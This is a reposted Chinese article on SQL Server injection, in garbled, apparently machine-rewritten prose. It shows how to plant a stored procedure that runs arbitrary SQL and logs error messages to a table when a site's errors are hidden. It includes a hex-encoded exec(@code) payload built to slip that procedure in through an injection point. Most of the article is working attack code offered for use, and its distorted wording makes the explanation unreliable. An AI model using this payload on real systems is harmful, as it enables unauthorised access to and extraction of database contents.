当前位置:七道奇文章资讯安全技术网络技术
日期:2010-09-15 00:19:00  来源:本站整理

揪出MSSQL SERVER"错误提醒"[网络技术]

赞助商链接



  本文“揪出MSSQL SERVER"错误提醒"[网络技术]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:

痛楚的崇奉

有某种情形,错误提醒不开启,你只能open大概union乃至于Update Table for Web Information来返回数据.

当履行某些需求的多语句时,我们但愿知道我们的语句履行时发生了哪些错误,以举行应对,有时刻这些信息对你很重要.目前就对此情形举行谈论.

CREATE PROC RunSQL @sql nvarchar(2048)
AS
BEGIN
declare @msg nvarchar(2048);
set @msg = 'Error: ';
exec sp_executesql @sql;
select @msg = @msg + description from master.dbo.sysmessages where error=@@error;
set @msg = 'Execute: ' + @sql + '|' + @msg;
if not exists(select * from sysobjects where name='errorstate') create table errorstate(msg nvarchar(2048));
insert into errorstate values(@msg);
END

安装这个看扩大存储过后,用他来履行号令.会把错误信息写入表errorstate.呵呵,当然注入点环境是不能建扩大存储的,因为CREATE PROC必须是多语句的第一条语句.这简单满意:

declare @code varchar(2000);set @code=0x4352454154452050524F432052756E53514C204073716C206E76617263686172283230343829415320424

547494E206465636C61726520406D7367206E766172636861722832303438293B73657420406D7367203D20274572

726F723A20273B657865632073705F6578656375746573716C204073716C3B73656C65637420406D7367203D20

406D7367202B206465736372697074696F6E2066726F6D206D61737465722E64626F2E7379736D65737361676

573207768657265206572726F723D40406572726F723B73657420406D7367203D2027457865637574653A20272

02B204073716C202B20277C27202B20406D73673B6966206E6F74206578697374732873656C656374202A20667

26F6D207379736F626A65637473207768657265206E616D653D276572726F727374617465272920637265617465

207461626C65206572726F727374617465286D7367206E76617263686172283230343829293B696E736572742069

6E746F206572726F7273746174652076616C75657328406D7367293B454E44;exec(@code)

呵呵,一点雕虫小技,但愿对读者有效.


  以上是“揪出MSSQL SERVER"错误提醒"[网络技术]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
  • 揪出MSSQL SERVER"错误提醒"
  • 本文地址: 与您的QQ/BBS好友分享!
    • 好的评价 如果您觉得此文章好,就请您
        0%(0)
    • 差的评价 如果您觉得此文章差,就请您
        0%(0)

    文章评论评论内容只代表网友观点,与本站立场无关!

       评论摘要(共 0 条,得分 0 分,平均 0 分) 查看完整评论
    Copyright © 2020-2022 www.xiamiku.com. All Rights Reserved .